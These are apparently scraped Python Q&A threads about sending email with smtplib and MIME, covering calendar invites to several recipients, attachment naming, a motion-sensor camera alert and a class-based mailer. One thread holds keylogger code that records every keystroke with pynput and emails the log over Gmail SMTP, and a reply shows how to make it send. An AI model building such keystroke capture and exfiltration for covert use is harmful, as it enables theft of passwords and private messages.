I have a script that will run periodically to send email invitations to all receivers to inform them about upcoming maintenance.
Here is the code example
import os
import uuid
import smtplib
import icalendar
import datetime
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email import encoders
import pytz
from jinja2 import FileSystemLoader, Environment
class EmailWriter:
SMTP = 'smtp.test.com'
def __init__(self, receivers, cluster_name, dtstart=None, dtend=None, available="", tasks=""):
self.sender = 'sender#test.com'
self.smtp = smtplib.SMTP(EmailWriter.SMTP)
self.receivers = receivers
self.cluster_name = cluster_name
self.dtstart = dtstart
self.dtend = dtend
self.available = available
self.tasks = tasks
def __get_email_subject_and_content(self):
path = os.path.join(os.getcwd(), 'email_templates')
loader = FileSystemLoader(path)
env = Environment(loader=loader)
template_minor = env.get_template('minor_maintenance_email.html')
template_major = env.get_template('major_maintenance_email.html')
if 'unavailability' in self.available.lower():
html_content = template_major.render(
availability=self.available,
maintenance_date=self.dtstart,
start_time=self.dtstart,
expected_end_time=self.dtend,
tasks=self.tasks
)
subject = '{} | Maintenance | {}'.format(self.cluster_name, self.available)
else:
html_content = template_minor.render()
subject = '{} | Maintenance | 100% Availability'.format(self.cluster_name)
print('subject : "{}", receivers : "{}", maintenance_date : "{}", start_time : "{}", expected_end_time : "{}", '
'"task : "{}"'.format(subject, self.receivers, self.dtstart, self.dtstart, self.dtend, self.tasks))
return subject, html_content
def __prepare_event(self, subject, content, start, end):
event = icalendar.Event()
organizer = icalendar.vCalAddress('MAILTO:' + self.sender)
event.add('organizer', organizer)
event.add('status', 'confirmed')
event.add('category', 'Event')
event.add('summary', subject)
event.add('description', content)
event.add('dtstart', start)
event.add('dtend', end)
event.add('dtstamp', datetime.datetime.now())
event['uid'] = uuid.uuid4()
# Set the busy status of the appointment to free
event.add('X-MICROSOFT-CDO-BUSYSTATUS', icalendar.vText('FREE'))
event.add('priority', 5)
event.add('sequence', 0)
event.add('created', datetime.datetime.now())
for participant in self.receivers:
attendee = icalendar.vCalAddress('MAILTO:' + participant)
attendee.params['ROLE'] = icalendar.vText('REQ-PARTICIPANT')
attendee.params['cn'] = icalendar.vText(' '.join(participant.split('#')[0].split('.')))
event.add('attendee', attendee, encode=0)
return event
def __prepare_alarm(self):
alarm = icalendar.Alarm()
alarm.add('action', 'DISPLAY')
alarm.add('description', 'Reminder')
# The only way to convince Outlook to do it correctly
alarm.add('TRIGGER;RELATED=START', '-PT{0}H'.format(1))
return alarm
def __prepare_icalendar(self):
# Build the event itself
cal = icalendar.Calendar()
cal.add('prodid', icalendar.vText('-//Calendar Application//'))
cal.add('version', icalendar.vInt(2.0))
cal.add('method', icalendar.vText('REQUEST'))
# creates one instance of the event
cal.add('X-MS-OLK-FORCEINSPECTOROPEN', icalendar.vBoolean(True))
return cal
def __prepare_email_message(self, subject, content):
# Build the email message
# msg = MIMEMultipart('alternative')
msg = MIMEMultipart('mixed')
msg['Subject'] = subject
msg['From'] = self.sender
msg['To'] = ';'.join(self.receivers)
msg['Content-class'] = 'urn:content-classes:calendarmessage'
msg.attach(MIMEText(content, 'html', 'utf-8'))
return msg
def __prepare_invite_blocker(self, cal):
filename = 'invite.ics'
part = MIMEBase('text', 'calendar', method='REQUEST', name=filename)
part.set_payload(cal.to_ical())
encoders.encode_base64(part)
part.add_header('Content-Description', filename)
part.add_header('Filename', filename)
part.add_header('Path', filename)
return part
def send_appointment(self):
subject, html_content = self.__get_email_subject_and_content()
start = datetime.datetime.combine(self.dtstart, datetime.time(0, 0, 0)).astimezone(pytz.UTC)
end = datetime.datetime.combine(self.dtend, datetime.time(0, 0, 0)).astimezone(pytz.UTC)
cal = self.__prepare_icalendar()
event = self.__prepare_event(subject, html_content, start, end)
alarm = self.__prepare_alarm()
# Add a reminder
event.add_component(alarm)
cal.add_component(event)
part = self.__prepare_invite_blocker(cal)
msg = self.__prepare_email_message(subject, html_content)
msg.attach(part)
# Send the email out
self.smtp.sendmail(msg["From"], [msg["To"]], msg.as_string())
self.smtp.quit()
print('Invitation sent out')
def main():
receivers = ['test1#test.com', 'test2#test.com', 'test3#test.com']
cluster_name = 'TEST NOW (test_now)' # test cluster name
email_writer = EmailWriter(
receivers,
cluster_name,
datetime.datetime.strptime('2023-02-16', '%Y-%m-%d').date(),
datetime.datetime.strptime('2023-02-16', '%Y-%m-%d').date() + datetime.timedelta(days=1),
'100% Availability',
tasks='Minor test'
)
print('Sending email')
email_writer.send_appointment()
if __name__ == '__main__':
main()
However, when I tested the code, I could see only the first recipient in the receivers list can get the outlook invitation.
How to fix the code to let all email account in the list can get the invitation?
Looking at some other examples, it looks like the msg['To'] object needs to be in a string format with a delimiter of ',' I believe you are using ';' try changing that in your code and see if that resolves the issue.
current_code: msg['To'] = ';'.join(self.receivers)
new_code: msg['To'] = ', '.join(self.receivers)
Thank you for your help!
Finally, I got a solution here.
First, as the above answer said, I need to use , as the delimiter.
msg['To'] = ', '.join(self.receivers)
Second, in the function of smtp.sendmail(), the receiver parameter type is a list, so here I directly give the function a list
self.smtp.sendmail(msg['From'], self.receivers, msg.as_string())
Source code of sendmail()
def sendmail(self, from_addr, to_addrs, msg, mail_options=(),
rcpt_options=()):
"""This command performs an entire mail transaction.
The arguments are:
- to_addrs : A list of addresses to send this mail to. A bare
string will be treated as a list with 1 address.
Example:
>>> import smtplib
>>> s=smtplib.SMTP("localhost")
>>> tolist=["one#one.org","two#two.org","three#three.org","four#four.org"]
>>> msg = '''\\
... From: Me#my.org
... Subject: testin'...
...
... This is a test '''
>>> s.sendmail("me#my.org",tolist,msg)
I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **
When I use MIME and SMTPLIB instead of sending my attachment "random.jpg" it sends "noname.eml" which is unopenable and unseeable, I am unable to send attachments correctly for this reason. Why is this caused and how can I solve it?
I tried to change the extension from "png" to "jpg" but the issue pursues.
fromaddr1 = ""
toaddr1 = ""
accpass1 = ""
msg1 = MIMEMultipart()
msg1['From'] = fromaddr1
msg1['To'] = toaddr1
msg1['Subject'] = "YOUR COMPUTER HAS BEEN ACCESSED"
body1 = "Someone has gained access to your computer"
msg1.attach(MIMEText(body1, 'plain'))
filename1 = "random.jpg"
attachment1 = open("random.jpg","rb")
part1 = MIMEBase('application', 'octet-stream')
part1.set_payload((attachment1).read())
encoders.encode_base64(part1)
part1.add_header('Content-Disposition', "attachment1; filename1= %s" %
filename1)
msg1.attach(part1)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr1, accpass1)
text = msg1.as_string()
server.sendmail(fromaddr1, toaddr1, text)
server.quit()
in header:
from email.mime.application import MIMEApplication
instead attachment:
with open(PATH_TO_ZIP_FILE,'rb') as file: msg.attach(MIMEApplication(file.read(), Name='filename.zip'))
I have the below code for when motion is detected i call the camera and email functions. I tried adding the functions after printing Motion Detected but didnt work. Can someone help me where to add the functions? Need it for tomorrow if possible. Thanks
Edit: This is the whole code to help me find the error. Thanks
#!/usr/bin/python
import subprocess
import socket
import datetime
#Camera
import os
import pygame, sys
from pygame.locals import *
import pygame.camera
#Email
import os
import smtplib
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
#Sensor
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
COMMASPACE = ', '
GPIO.setmode(GPIO.BCM)
PIR_PIN = 7
GPIO.setup(PIR_PIN, GPIO.IN)
def MOTION(PIR_PIN):
print(“Motion Detected!”)
print(“PIR Module Test (CTRL+C to exit)”)
time.sleep(2)
print(“Ready”)
try:
GPIO.add_event_detect(PIR_PIN, GPIO.RISING, callback=MOTION)
while 1:
time.sleep(100)
except KeyboardInterrupt:
print(“ Quit”)
GPIO.cleanup()
def camera():
width = 480
height = 360
#initialise pygame
pygame.init()
pygame.camera.init()
cam = pygame.camera.Camera("/dev/video0",(width,height))
cam.start()
#setup window
windowSurfaceObj = pygame.display.set_mode((width,height),1,16)
pygame.display.set_caption('Camera')
#take a picture
image = cam.get_image()
cam.stop()
#display the picture
catSurfaceObj = image
windowSurfaceObj.blit(catSurfaceObj,(0,0))
pygame.display.update()
#save picture
pygame.image.save(windowSurfaceObj,'picture.jpg')
def email():
sender = ''
gmail_password = ''
recipients = ''
composed = ''
# Create the enclosing (outer) message
outer = MIMEMultipart()
outer['Subject'] = 'MOTION HAS BEEN DETECTED!'
outer['To'] = COMMASPACE.join(recipients)
outer['From'] = sender
outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
# List of attachments
attachments = ['/home/pi/Desktop/picture.jpg']
# Add the attachments to the message
for file in attachments:
try:
with open(file, 'rb') as fp:
msg = MIMEBase('application', "octet-stream")
msg.set_payload(fp.read())
encoders.encode_base64(msg)
msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
outer.attach(msg)
except:
print("Unable to open one of the attachments. Error: ", sys.exc_info()[0])
raise
composed = outer.as_string()
# Send the email
try:
with smtplib.SMTP('smtp.gmail.com', 587) as s:
s.ehlo()
s.starttls()
s.ehlo()
s.login(sender, gmail_password)
s.sendmail(sender, recipients, composed)
s.close()
print("Email sent!")
except:
print("Unable to send the email. Error: ", sys.exc_info()[0])
raise
MOTION(PIR_PIN)
I am new to Python. I am trying to make an email script that can send an email. First, I made a Python script without any classes, just function just to make sure that the script runs as expected. After I got the expected result. I am trying to rewrite the script using classes, so as to learn. But I am getting error, which I don't understand. I don't understand where actually the problem lies.
Below is the code as well as the screenshot of the error
import smtplib
import os
import sys
import mimetypes #for guess mime types of attachment
from email import encoders
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
class Email(object):
message = None
subject = None
from_address = None
to_address = None
body = None
email_server = None
attachment = None
def __init__(self,from_address,to_address,subject,body,attachment,email_server):
self.message = MIMEMultipart()
self.message['subject'] = subject
self.message['From'] = from_address
self.message['TO'] = to_address
self.body = MIMEText(body, 'plain')
self.message.attach(body)
self.email_server = email_server
if attachment is not None:
self.attachment = attachment
self.attach_attachment()
def get_message(self):
return self.message
def send_message(self,auth):
username, password = auth.get_user_auth_details()
server = smtplib.SMTP(self.email_server)
server.starttls() #For Encryption
server.login(username, password)
server.send_message(self.message)
server.quit()
def attach_attachment(self):
self.messaege = self.attachment.set_attachment_type(self.message)
class Security(object):
username = ""
password = ""
def __init__(self,username, password):
self.username = username
self.password = password
def get_user_auth_details(self):
return self.username, self.password
class Attachment(object):
attachment_path = ''
def __init__(self,attachment_path):
self.attachment_path = attachment_path
def is_directory(self):
return os.path.isdir(self.attachment_path)
def is_file(self):
return os.path.isfile(self.attachment_path)
def guess_and_get_attachment_type(self, filenamepath):
ctype, encoding = mimetypes.guess_type(filenamepath)
if ctype is None or encoding is not None:
# No guess could be made, or the file is encoded (compressed), so
# use a generic bag-of-bits type.
ctype = "application/octet-stream"
maintype , subtype = ctype.split('/' , 1)
if maintype == 'text':
fp = open(filenamepath)
attachment = MIMEText(fp.read() , subtype)
fp.close()
elif maintype == 'image':
fp = open(filenamepath , 'rb')
attachment = MIMEImage(fp.read() , subtype)
fp.close()
elif maintype == 'audio':
fp = open(filenamepath , 'rb')
attachment = MIMEAudio(fp.read() , subtype)
fp.close()
else:
fp = open(filenamepath , 'rb')
attachment = MIMEBase(maintype , subtype)
attachment.set_payload(fp.read()) #Actual message
fp.close()
encoders.encode_base64(attachment) # Encode the payload using Base64
return attachment
def set_attachment_type(self,message):
if(self.is_directory()):
for filename in os.listdir(self.attachment_path):
filenamepath = os.path.join(self.attachment_path , filename)
attachment = self.guess_and_get_attachment_type(filenamepath)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = filenamepath)
message.attach(attachment)
elif(self.is_file()):
attachment = self.guess_and_get_attachment_type(self.attachment_path)
# Set the filename parameter
attachment.add_header('Content-Disposition', 'attachment', filename = self.attachment_path)
message.attach(attachment)
else:
print("Unable to open file or directory")
return message
def main():
#Constants
GMAIL_SERVER = "smtp.gmail.com:587"
FROM_ADDRESS = "xyz#gmail.com"
TO_ADDRESS = "xzy#gmail.com"
auth = Security("xyz#gmail.com" , "MySuperSecretPassword")
attachment = Attachment("/path/to/attachment/file/or/directory")
email = Email(FROM_ADDRESS ,TO_ADDRESS, "Hi from class Python" , "OOPs Python at Work!!" ,attachment,GMAIL_SERVER )
email.send_message(auth)
if __name__ == '__main__':
main()
I changed
self.message.attach(body) #In the class email constructor
to
self.message.attach(self.body) #In the class email constructor
and it worked.
I was attaching string type to message instead of MIMEText